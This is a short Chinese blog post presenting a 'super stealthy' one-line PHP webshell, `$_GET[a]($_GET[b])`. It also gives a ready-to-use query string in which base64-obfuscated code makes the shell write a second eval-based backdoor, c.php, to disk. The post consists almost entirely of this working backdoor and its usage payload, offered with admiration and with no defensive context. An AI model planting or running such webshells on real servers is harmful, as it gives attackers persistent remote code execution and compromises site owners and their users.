一句木马的另一种形式

超级隐蔽的PHP后门:
<?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用
posted @ 2023-01-05 15:14  小张不怕累  阅读(23)  评论(0)    收藏  举报